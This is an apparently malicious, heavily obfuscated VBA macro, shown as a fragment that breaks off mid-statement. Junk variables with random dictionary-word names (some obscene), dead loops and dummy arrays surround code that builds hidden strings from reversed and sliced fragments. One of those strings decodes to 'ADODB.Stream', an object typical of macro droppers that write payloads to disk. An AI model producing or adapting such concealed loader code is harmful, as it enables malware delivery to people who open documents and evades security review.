Mid(\"cottonemiratesglassptshtsshareantiquefoundationsdarwinsurroundingnutitled\", 23, 3)\ncorporationpeaceleubeeroutdoorsexceptmarshalltraditionactortit = LTrim(\"basementsuccessfularoundcambridgemarijuanaparadise\")\narchitectpromptlyconfusedlabourdublinresultsreviewingroundsbrakescleveland = Array(\"lastingiconproduceshandlingtearsinvestigated\", \"princenicesmallacts\", \"humanityconsideringtheoriesresearcheressentialrequestsapprovalcanbroken\", \"miscellaneouswantcensuusernchspotlightwalletpagessubscriptions\", \"operationsganimalswebcamseverybodyvideosphilosophy\", \"alternativedramaticpdnorwaybellereliefguistatutesquiapplicants\", \"screeningdresseddoingtinyfairlycodingworlds\", \"scholarshipuniversalsubstanceoil\", \"ricepacklayersdavidcaroline\", \"healthyindexedcircuitwordexecutionmachines\", \"permittedswitchesserialass\")\nholmesgenresminuteunits = \"\"\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"ved\")\nDim expmilfhunterdangerousinquire As Variant\nbottleswiressessionrecoveryharryziparemotivatedtestedreel = 6202\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"ole\")\npremisesinitialconverterpulsesaverconsolidationgibsonratings = LTrim(\"templatesucceedjeremylocationtrial\")\nDim securelyinvitationadaptersaliceexcitedgraveanalystpaperbacks As String\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"workingpeoplecitationtextileoneathleteshqtippinconstitutetechnologicalcommonwealthtremblmaidenbufferprinters\", 45, 3)\ntommyfeaturesedsauburnnewarkmentionedreadermomentum = Space(64)\nDim checklistcampusincorporatepolishedneighborhoodclassifiedbrochuresmapsol As Boolean\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"nifg\")\nDim cliffmosesmoorego() As Byte\nDim spiritsrationaldeputyanimebrisbanecultureripactuallyreggae As Object\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"non\")\nperipheralhousewivespartnershippontiacmossassistedseriouscolonial = Not (39 < 443)\ndivisionlancewiveslouisianarestructuringtrinidad = Array(\"amdskillstypingflyertakeagearmsuitesfujitsu\", \"displayhandheldsceniclibsapproximatelyartistguides\", \"yearsjuanattorneyaustriareflectedmesatipsimportsphoto\", \"henceminesconfirmedthreatendangered\", \"accidentslabyachtcouncilrevisedtonsmirrorsapindependenttherapist\", \"detroitsecuredacademicsdemonstratedspell\", \"ratsmusiciansdoneonekarmaplusarchitecture\", \"targetsdirtminiaturejerseyspaninstituteefficiencybring\", \"getsbrowsingreceptionwalesscrollcuriouscentresfirefoxnicaraguanebraska\", \"soxwashingtonreligionsafternoonnortheast\", \"greeneriverposingpk\", \"sheexplorepeasnlrebatesusageadidas\")\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"evanescencekathyrdclipevolutionpperedicerestrictedbradfordrepresentingenzymethreadnokiageek\", 34, 3)\njoiningbookshinewhocustomersmaintainingfestivalevegalecompensation = Not (955 < 724)\n'initiallynoveltyminboulevardgaugesurveyquitboxedlu\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"calp\")\naceflexibilityjacobcant = StrReverse(\"surveyhatenorfolkbitkeepcommentedfirstfinishingdurham\")\n'showdesjpbrucernsbjctmarinahayesht\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"accdouggmbhguyanaedfelbasedmasterlampssprintsodium\", 18, 5)\nspecialparticipantsbryantsierramodemindustrialsierra = 1381\nlinkbasedexceedcame = LTrim(\"imagesduckreplacedhuntingtonwelsh\")\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"wol\")\nperthformulagainedraise = 644 Mod 414\n'adrianimagesamplesspeakertitansbrandon\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"pihs\")\nDim selectionsfoxclockmonitorsrunnerapplybottleshalfchemicals() As Byte\nbenteminemchifloorinquirehelpcastleyoursmagazineppc = 662 Xor 1003\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"authorsreferprozacbasketswikidickcomparephasescheaperseesvariloggedcertificationjoinenglishquestionsconnectedmanagers\", 58, 4)\nlogbarslegislativeboredarizonacalled = Array(\"showedaggressiveloopstargetanimalsenteredcollegeinventiontracthybrid\", \"michaelpaintolympussnakechristianspointingannex\", \"toplessiraqiprovisionstylerseatinline\", \"startupconfusedcubeqtblackberryshorefeelings\", \"oilcreationslightningbeachesallowanceflowers\", \"playingnonewhocayman\", \"mileagecottageexcellencepurplelookupadaptedyearwhy\", \"loversrealisticdivesec\")\n'moverslabdebtechogary\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"maycommitmentsbloggingtrademarksslimpizzalppulledtravelerdiceatiorolledfailreefmask\", 62, 4)\nsapphirebackupquestbizarre = Space(49)\n'freewaresleepingtextileacademicsseasonalbeddingattractionsgirlsnm\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"lamsn\")\nitlenconditionalweekendpetersonmovementkathythumbnailcalling = 853 Mod 874\nboatssupportinghorizontalnosephysiciangreatly = Not (964 > 439)\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"aisya\")\nfraserharassmententrepreneurhyundai = StrReverse(\"giantinventionintroductorypactheorem\")\nDim dresscordpersonalizedriversmessengerrefineyukonphysiologyarctic As Object\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"rehni\")\nvisitedspecialiststeachersprixbrown = RTrim(\"choirstretchjohnsoncincinnati\")\nletterlimitingimmunologykittyclosedmiddearhottestmitsubishi = Chr(110)\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"deti\")\nDim drivetestamentglobalfilldevelopersbackgroundsconditionmarcus As Variant\nstampseursquirtingfactors = 3054\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"wnaem\")\nlatinascliffstringsofficepolished = Space(28)\ncomplexbroadcastremarkableexaminedbacteriadaslicence = Chr(44)\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"redlightningtomatoessinhilprovidevisiongrayfebelectronicgammamuze\", 24, 3)\nDim hellochairssignalsblessedmemoenergyfourpasswordconcentration As Object\nboobsnickfishingsexualscoresaddictiongardenaccessedanimated = Chr(253)\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"e\")\nDim organisationuserndleotherwisemidwest As Object\nglobesupportedummacintosheligibilitybyhughes = Space(70)\nfaketreefeofadaptiveseedcashaffairleu = \"\"\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + StrReverse(\"set\")\ncommunitiesmemcostmartmind = 8135\nexcludedbudapestchevygender = 523 Xor 599\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + Mid(\"methodsmatchinternationalspotscentrewitvoiptablchargedharoldaccidentgross\", 44, 4)\nnatbrightonavoidrocketamendmentsalbumsstoreguidelines = Space(52)\ntrackshrbearscstcheese = 416 Mod 198\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + Mid(\"hostingsignedgooglegodishtransexualesfacialchairsmins\", 23, 3)\nforgethandjobsupposedlaneartworknotify = 600 Mod 165\nDim liablearrangemerewagesgeneratingmazdasexuallyaccordance As Integer\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + Mid(\"couplesfavorseveryonetruemakerdeadsisteringvampirecopdimcapabilitycuriousjudgegrillpartycup\", 41, 3)\n'wheelsbdlaszdnet\nDim fuckedearringsmembersappearpornlightning As Integer\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + StrReverse(\"aed\")\nmauritiusrevisedoperatingsouthwestfragrancelance = Not (939 > 454)\nFor agojesushydraulicperfecttennesseehungliberiasurrounded = 3536 To 9070\nDim isolatedgainholidaysjoinshighwayremains As Variant\nDim marthanominationdensityamerican As Boolean\nNext agojesushydraulicperfecttennesseehungliberiasurrounded\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + Mid(\"provincesenhancedbiographiesadamdsidesaferdrawndlyhiscibhutanfavouritedistnancy\", 48, 5)\nanythingminusattendancemessagekevinpork = Array(\"arthritislooksmartranchdishesrehabphonereaction\", \"compactbukkakeverificationcharliemelissaebooksyieldcomparablenominations\", \"ulsafarialgeriapor\", \"hospitalbrotherpoordeletecommitment\", \"bidderdealtimesetterritoriesyet\", \"framingrepresentationcgalteredfeetprovidence\", \"includingkylemotivationdesah\", \"contrastcolourskmjennywellingtonplc\", \"radiustwistedconflictsvoyuerduobreathcarsspecifiesresistant\", \"acrobatevidentmauigermanyfocusedtechnician\")\nDim secretariatserverimagingcomputeropeninghotmailchildrenhorizontal As Variant\nfaketreefeofadaptiveseedcashaffairleu = faketreefeofadaptiveseedcashaffairleu + StrReverse(\"hg\")\nmxcannonchemicalhornychronicleantperiodicvirtual = 957 Xor 139\nicondatespublicsomewhatsmayplayback = Array(\"tunescientificcomparativealignmentimportedtranscriptpromotionsneutral\", \"montanaloudfacialistanbulalpaperbacksguatemalamarkermanually\", \"consecutiveframehlnumbers\", \"destructiondonorreligionmassachusettschoosinginternationalbrightgeneralfrequencies\", \"frisensorcornsavageanimalscategorydeferred\", \"luciaagesgageuvprocedurehrsvulnerable\")\npentiumworkstationundercollectorsaccess = \"\"\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + Mid(\"mvletsjavawaitingmariatideenemiesauthoritiesfinalreservesdegreesolidgenaugustoptimumorbitstoriesincludingforms\", 45, 5)\nDim repeatedpredicttrackernatocapeoptimize As Integer\nDim gardensgroveronwebcams As Boolean\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + StrReverse(\"cefni\")\nDim joinedvisibilitytrancealiascollectiblebenaskactionsfloodyields As Object\nwingstrongercamerarapidlypurplevalleymadnessantarctica = Not (83 > 370)\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + Mid(\"destructionsussexfoursocketadvertisementgovernmentalwonderfulcustomregressiontiounailtravisguitarsyieldspankreceivingseminar\", 78, 4)\nencourageherearearejectreviewinghatemeeting = Not (900 > 768)\nDim trapmanorsaferwisefestivalsonce As String\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + Mid(\"opportunitymontanaholdinghumorlifevolumesjoblimitationwinstonsinstcomesblanketrobotboommolecularrationalexcessworldsexhire\", 62, 5)\nsatspringsaskeddoeschestmagnetincominggenerousderivedchildhood = RTrim(\"spanklevytalkedfecrossingoperationlegislationimportjacksonville\")\nregisteredvanknewmicrowave = Array(\"directoriesbirdcountingrenderingdiscountedcedararrivespersonalspleased\", \"unitedsfsituationsfestivaltablesgardenessentialhappeninghumanitiescrops\", \"linksdisplayedsummariesprofileafricanarraycambodia\", \"grandeministerbigottawabreathing\", \"contemporarylivesgamecubeweekends\", \"unioccasionsneverthelessaffiliation\", \"relybmwteachesvarietiestwinksincrease\", \"purchasingpatprecisealbanycan\", \"thereforeroylenderchroniclespublishermilitarytvsfurnishedproc\", \"smtpingfeedsdisturbedhopefullyconversationsmiracleparagraphsnoise\", \"mediterraneancommoditiesflatpracticemeterrequiringpastor\", \"msiensincidentfurnishingsintentiontennis\", \"adawinsfistoffergovernmentadultblamesurvive\", \"crcolplaystationviewpicturecloudydescriptionsdistributorexperienceddesparent\")\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + StrReverse(\"tuti\")\nexplaineddollarsmaximumpersonalizedpassengerscolelighteroakjustice = StrReverse(\"characteristicbullsharingmartin\")\nFor purchasingsuddenemperorbustyvariationagocoinlinedguardian = 7576 To 4902\nRem marketplaceanswercharitableboatscolonykeeps\nbillingbusinessintereliminatequadfares = Array(\"continentalkeepshirtreserves\", \"optimalactsentersteamstylus\", \"smokenorthmomentlosehttpultimately\", \"homesksavenuecomputerssplitparliamentary\", \"woundspeciesfencegraceadvise\", \"esactionsnapshottabletsreplaced\", \"sawricephentermineclaimedworkplaceuscscreenshotjokelbsdesigning\", \"montgomerygardenzincrenewablepingdangerousmutualbeveragecm\", \"ategoingpractitionerissnpalmermills\", \"caferiverpostingsworldwide\", \"quickbooksministriesfunupsetcrmholderdanieladverse\", \"brokerslistingscommitteeshurevolutionsuburban\")\nNext purchasingsuddenemperorbustyvariationagocoinlinedguardian\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + Mid(\"headlineinteractionimportswallpaperplaystationprospectnotificationsrepositorysubtwinsionastandardbeltscounselcewelcomeconfidential\", 86, 4)\nDim michellestretchappliesporscheconsolidation As Integer\nFor itsbdrobotexecutedceojoydeadlyregression = 9048 To 4672\n'incorporatedappreciationinnovativedgorganismsllcquickposts\npokemontcprotationpikeliabilityericssonreservationshandmadeexpectationscharacterized = Not (869 < 809)\nNext itsbdrobotexecutedceojoydeadlyregression\npentiumworkstationundercollectorsaccess = pentiumworkstationundercollectorsaccess + Mid(\"tiresinquirycompaqwardfistinglvmetabolismctrlarticlefriendsurreyarrangementsheightcupsprofilesentertainment\", 30, 2)\nsymanteclisainternaltotallybedfordshavedsacramento = Not (240 > 784)\nDim atlassalesltanalyzedinvolvesconservationlambdacoloradobeth As Object\ninstallationshelmetcontactsoptimizeterrorismeatingdeviantmiss = \"\"\ninstallationshelmetcontactsoptimizeterrorismeatingdeviantmiss = installationshelmetcontactsoptimizeterrorismeatingdeviantmiss + StrReverse(\"ODA\")\nFor coastpagebnicaraguaallowed = 8840 To 3971\nDim camcorderswillidlestockstoughdrffj As Integer\nRem ctrlphotoshoplayertankest\nNext coastpagebnicaraguaallowed\nRem securitiesjurisdictionjoshuacyclemugriskabortion\ninstallationshelmetcontactsoptimizeterrorismeatingdeviantmiss = installationshelmetcontactsoptimizeterrorismeatingdeviantmiss + Mid(\"bargainannouncedtabsroutesderivedsignconstructionDB.Schemicalweirdsuicidegalebeltpolitical\", 50, 4)\nbotswanapotpresentsinvoicedentalstrongerlightweightdiabetesbarbadosmorrison = StrReverse(\"examinesfateexcludetalkmataffectknitsubsidiariesdatabases\")\nguitarcoachingdriedtrialsnever = 7503\ninstallationshelmetcontactsoptimizeterrorismeatingdeviantmiss = installationshelmetcontactsoptimizeterrorismeatingdeviantmiss + StrReverse(\"maert\")\nDim treatydarknesspmcfairlyfilmscradlemvannounceshostits As Integer\ninvolvedmeaningpremiumseq = Not (254 > 324)\nclearlythundergregnegotiationprisonerphysicsconsgiants = \"\"\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"shoppingangelesmedicalhorsestrarecorderecuadorkleinwelfareburtonfootslight\", 29, 3)\nDim rationalinheritedsaddamcollegeschartsmikeshipping As Integer\nDim witnesstaxclusterfeaturinglookeditalybelieve() As Byte\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"ynn\")\nlandtrusteesfindlawtaxmiddlescrewprotpgrod = Array(\"assuredlemoncontinuedenoughcosmetic\", \"guitarsillinoisaceevacquisitions\", \"provideclassicsmayunderjoiningticoncludewhethertroublethermal\", \"tonsjpgcreamkeeping\", \"thesisbloggerdirectfolderreactionsmigrationabilitybestsellersfailedltd\", \"choicezshopscheckslolitaitalicneedleleadersproveadelaidenose\", \"customloadedappliedmanitobaedwardphdanniemeasuresclosestboats\")\nwifidisputewarriorexplosion = 9730\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"seenvicesubcommitteeracksnashvillewoodenframingcentrelinkportertestinquirybrassrolandcontributedonscantduoscreen\", 64, 4)\nDim indicatedbecameinappropriateplaza As Boolean\ntouchweirdquantitiesfleecegraduatedsurgeryrenewassociationexperiences = StrReverse(\"skypebubblecognitivearisingsunrise\")\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"tenniswebsitescompleteottawatharthurkingproportionimoniprotectingswazilandbeachessurgeonautomationbasisoptiongiftssuicide\", 51, 5)\nalabamasupplementsmagnitudepolymerjo = Chr(29)\nRem circuitnamibiatwelvepatchbicycle\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"nathanmeaningresultsglovesalshswordhimoccurselectronicsmetricthongs\", 27, 4)\npowderdemonstratednutsdiseasesonsdevelopmentcumshots = Array(\"farmersareasacquiredlevelsthereforecubeswitchesforestssport\", \"physicsagreementstoolsdonationgaragemalaysialiabilitydisputesshowcase\", \"quitbswalkerrichdressinglance\", \"tduplicatepresentshandbookwaitingian\", \"excitementsallycostumepaperbacksvarietiestranscriptionpensionpotato\", \"camelhidestylusdoorrentalactionproperlymathematicsbolivialindsay\", \"wallacesupplymallinjurieswichita\", \"danishsinglefairyjournalismmillenniumng\", \"hackcompilecalculatorsphotographslesbianmeetspeciestie\")\nDim widelycharactersgeartranssexualcomicsmidineverorientaledgeideas As Integer\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"monsterchampagneshoppersublimeandtwelveattachmentsintersectionbeveragesrecorderssenatorimmunologysecondparagraphsquantity\", 31, 3)\npeoplesaxisjansimpsonsdelightislamicasylum = Space(61)\nhikingincreasingpracticesdiscoverfliphorizonrnarelativesincreasinglyinsider = RTrim(\"brasbanksarisinginnocent\")\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"leh\")\nDim previouslettersexpiredvisited As Object\nDim millionslotteryxanaxchapelbeatsmajordentalhobbieseds As Object\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"tryingcumshotsheaderslanecommercebonedssajetsschemetryingopticsirrigationnova\", 38, 4)\nDim moralcanalericssonsqlpodcastshtcellsplayerelviseffort As String\nDim dianacornhoustondropprojected As Object\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"ihpp\")\nlectureimpulsefistingexcuseiraqamy = 300 Xor 412\nRem injuriesshregardssimscollectionsopposeddamedevelopsattractionsmsn\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"engagementsaturncruzgamereusequalifyingmindboringpacketprayerrentalswwwgps\", 25, 5)\nbusyacrylicsendnominatedsheetfifteen = Not (313 < 1008)\n'melescapemartincreasescoursessigningmetallicaunderlying\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"channelendorsedseventhexpressmonthlysampleemployeersomecanberraharmmasterresumesmaggiantsstories\", 51, 5)\nDim winnersprixtrainkeepcelebritycouplebaptistsupporting As Integer\nDim jillmechanismsquirtsuck As Integer\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"unionbreakfastarmstrongbornsportgatcoordinationcruisedrillpermissionscocksfiledmrnablinkcomfortali\", 33, 3)\nFor surgicalanalyzethumbnailgainresponsiblelogoindalgebra = 3648 To 2154\nmustangcontractorsprostoresexpparliamentarycentdeclineone = Array(\"sallyteenartistsrankitaliapianoheather\", \"divcontinuallyrecognisedtextbooksisaacmardicamcorderfujidiseaseantibody\", \"cameroonidentificationpeoplemagtreatmentscreating\", \"toolboxreceptorfundsputsfoldwarzealanddscaccmotor\", \"alignmentlaoswarehousethoughbosortjoinrequesting\", \"advancementpaclimitationsmeaningfulprotectbabiesliterary\", \"easterliteracypubliclymajoritysyntaxlcdreferencedinsiderhttpgathered\", \"agelondonjjmanufacturemetals\", \"baileycomparablecockadjustablecommoditiesvirtuepmid\", \"pixelsopportunitycompilationbomb\", \"scotlandinvestigatedfmque\")\nRem bidmadonnaclosingpassesbookmarktales\nNext surgicalanalyzethumbnailgainresponsiblelogoindalgebra\nRem meterstowardmondaybrandonstreamsbrasoonestremovinggroundsstrong\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"mreh\")\nRem nickelprototypestuffedcovers\nmicrowavedeluxegapcourtsfinnishmaxglclustersnotre = 166 Xor 37\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"improvingstuartmemocelebrationalnodenyhandmadetoxicfiltersquizzesrationaltennagenessecurely\", 31, 4)\nbedroomsshowershydrogencomencounteredprofessorsuppliedmembrane = LTrim(\"leedsdependingacreportsdrawnholes\")\nDim evethinkingbundlefitsreadprocessing As Integer\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"pregnantgenerationaffiliatestheycolonyprepaidsustainabledesfashionhudsonhappensgibsontollixchannelspictureuserildings\", 57, 3)\nDim rapereservationsdiverseattendedmightyba As Boolean\nRem provincelikewisecagecuntwinmilfwinstonslut\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"wow\")\nshownworkflowcomgearbrooksjanetforestryskilledopinions = Chr(114)\nphotographicexaminingteachersmailseminemstampmaterialssapphire = Space(69)\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + Mid(\"onestatutoryprocurementcomparableleaseinflaenoughanalyseslambdabrowsersmwcoveragefavouritesunlessstatementemployee\", 39, 5)\ngeneratingjeffreyemployeddrewcrimebestsellerssyncwherever = LTrim(\"heritagejavapostingsbasenameinstitutionsreflectedtherapyvanillavotingerik\")\nDim chrisexplorerprofessornlcertainlets As Integer\nclearlythundergregnegotiationprisonerphysicsconsgiants = clearlythundergregnegotiationprisonerphysicsconsgiants + StrReverse(\"noit\")\nRem fieldshcalgebrasuperconsoletsenrollmentdeckdollars\npartiesflashersscottishshops = Chr(228)\nformatsoeplaylistbasketballcorncompile = \"\"\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + Mid(\"sealedroleslayoutheadquartersgalleriesheaagreementframeworkdivorcertlayevidencechromemaltabi\", 39, 3)\nDim performertylerloudrestrictionexpo As Integer\nrdcoastalforceassumptionsmultiplemilfgratuit = 2074\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + StrReverse(\"chtl\")\ncheckoutsenatediversitymarketplacemodular = LTrim(\"disciplinesecretariatmoreoverenvironmentjeffglennarabicgroupdepartment\")\nadultsjesustobagocreationcounselviolationsportsneighborschenmario = Chr(97)\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + Mid(\"czechjewelleryoverseasthreatenedpoliciesaremgraduateshumanityreveconomiesdumbcome\", 41, 4)\npricesgrasscolonialrequestedquestionsgig = StrReverse(\"marketoemtriumphmmrepresentatives\")\nfolkprovidedstudiesmeetupexperiencingattractionsworm = StrReverse(\"wifeoxidemicrophoneretrieveddesiretigerallowedsanyowagner\")\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + Mid(\"modularimplementedemotionalfrostcelebrateproofvaticanjoiningchallengeswhichinsvfavouriteofficedefinedpizzacontactingmasturbation\", 76, 4)\nantibodyomaninitiativespairwrongfilm = StrReverse(\"failurepublishedpilotconnectingsavingthanmobilityurtail\")\ntallprogramstabilityfavoritescensusadslinstallationscutyo = LTrim(\"reasoningrobmortalityparticipantsdudedogshome\")\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + StrReverse(\"dno\")\nexacttricktritranssexualcvsnipplestudygeneratorskinsnavigation = Array(\"rssinterestingvietnamesecontactsrelaxationstarsmerchantveterans\", \"horsedanielwrittenrenderantoniorankhardcorencthanks\", \"prestoncentralplaycompilationmetalgoodallegedgreensborodiabetes\", \"bocgeneticszadistributetextbookmime\", \"portfoliocrywattssolveephardwoodshowcaseaurora\", \"adapterssurvivalsalonisraelipackard\", \"resourceseveryonefaqspursuitdubaisimulationintelligentoccurrencemint\", \"parliamentguyhaitiappearspaymentstanzaniarico\", \"inductionchildhoodflexibleovercelebsanalysesptssealedbestialityexpenditures\")\nbodyassuranceplainscatscallingbdexcessivecontributorcoralvideo = 877 Xor 573\nformatsoeplaylistbasketballcorncompile = formatsoeplaylistbasketballcorncompile + Mid(\"anniefridgeenzymegreekstrandinfraredantipotentiallycamcorderirracksalliedgrossthereaftervirtually\", 61, 2)\ngottabatterypurplelouiselikesoldier = 521 Mod 1010\n'hisstudiosresistancediverseviiwheelsoutlineguaranteecom\nheycardsalgebrapassagerecyclingnortheastsurelydepend = \"\"\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"nuoc\")\nlindsayprotectpreliminarycrewdecentdecidedaughter = Not (133 > 269)\ndisclaimersdressesbangladeshfifteenmpbeta = 5621\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"rcadt\")\nDim assistantkindafollowingturboheathstripesinsvbulletin As Boolean\nDim missiletrackedhownewestaccuratecarriers As Variant\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"rotae\")\nworldwidewallaceohiotreatyenteredenabledinterracial = LTrim(\"nutholdscancellationtradespeakingunity\")\nshapescarrierbegunhosefeespromotes = Space(8)\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"memneckbentattemptingnovemberpresentingbeingfunctionalitycloudyfwdwrapgrahamphdbaptistratedareaquotationsdisputescalltrust\", 67, 4)\nattemptsmooreswedenwarmingroversubtleniger = Space(15)\nFor retainedmrincludefollowsoundsmileagemuslimsbirthrepublic = 7541 To 9559\nheavytravelingdiscoverchevycyclingmuslimadwareoutside = Not (870 > 144)\nDim registrationdiesreviewingdescribehalloweencologneye As Boolean\nNext retainedmrincludefollowsoundsmileagemuslimsbirthrepublic\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"dep\")\nprostoresdevelpressuredelawarexspecifiedownership = StrReverse(\"implicationsstartsinteractionsproductionssinglesrealtors\")\najpillowkarlcreditspenaltiescoordinatorbundle = 409 Mod 368\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"featuringanthropologylabbunchdiskeysconcentrationsintelligencegendernewbieiconspine\", 30, 3)\nsubstantialmentreceptorscasiopakistan = StrReverse(\"grassrepublicacutetipsscaredmillsmallsaferslutslarger\")\nDim acceptbrowsingfarmingcocktailsoap As Variant\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"voc\")\nDim vanillamarspostingsconferencesedwardsscale As String\nadversedevelopmentaltransmitteddeparcelfactorsacer = RTrim(\"birthdaykazakhstanrefrigeratoramountsaskatchewantrademarkshusbandreturning\")\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"canyondailygreenhouseprotzoningwarmeredracutemintgirlfriendsteorderingbyeseller\", 36, 5)\nDim aimstradecemeterydisabilitiesmetadatasurfbuttexposurewallpaperprotecting As Object\nDim unclebuffersupportingfloatingnecessitymounts As Boolean\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"suspectedmudcustomneighboreventuallylivecookchartnhidrosignstheoreticalarthurstevenmonetaryabuse\", 52, 4)\n'topicbuffermariahchaostoycareeractingbargaincomparablelopez\nmembersorderingcombojacksonsublimecertain = LTrim(\"modificationfirmshopsliverpoolletterspanelsaboriginalwelfare\")\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"mergepeasstuckrecognitionlfdcomrunimpossiblebinaryfailedcassette\", 28, 4)\nDim assessmenttechniquesazerbaijanrunnerdinnertrailllcservespoverty As Boolean\ntextileshiltonentirelymotherboardferry = 8556\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"promotedchildrengatherfloorrotaryconsultdesirerelykmposdivxmhzedmontonbluebangbus\", 53, 3)\npantsdebiancomplyrotationwhatdelightaudioaatreosandy = Not (699 > 786)\nbrookstakenmaternityobtainingexpressionsmaximizepal = Array(\"screenshotmelbournewritemassevilwants\", \"multimediahealthyanswerssolutionreelthetachapters\", \"viprecommendearningsmoscowbattlecharge\", \"pickingredientscouponsdimensions\", \"lensesgramsvercellularsurelyviolinpvcaccountobviousinfinite\", \"rightsattemptedhardcoverhttpbondage\", \"designerchristianevaluationcrawfordrecommendscontinues\", \"nasarecordersprovincesfarmersasslungcreating\", \"pastnegotiationquotationsdressdevotedgettingdoeantiguaend\")\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + StrReverse(\"eti\")\nDim expensivecornellnetworkkneeclassificationfacultyoccurfavouritespropositionyemen As Object\nincludedimposedrevolutionstrangermouth = Chr(169)\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + Mid(\"necessarilydisasterboundariesgraduallyfourkathnewslettersintellectualagentscashiersbmwspanishumestablished\", 43, 4)\nDim nttravisstationspatheatnatureaffordblairtests As Object\nwheelsspamremarkseatproductsmerry = Not (6 < 193)\nheycardsalgebrapassagerecyclingnortheastsurelydepend = heycardsalgebrapassagerecyclingnortheastsurelydepend + 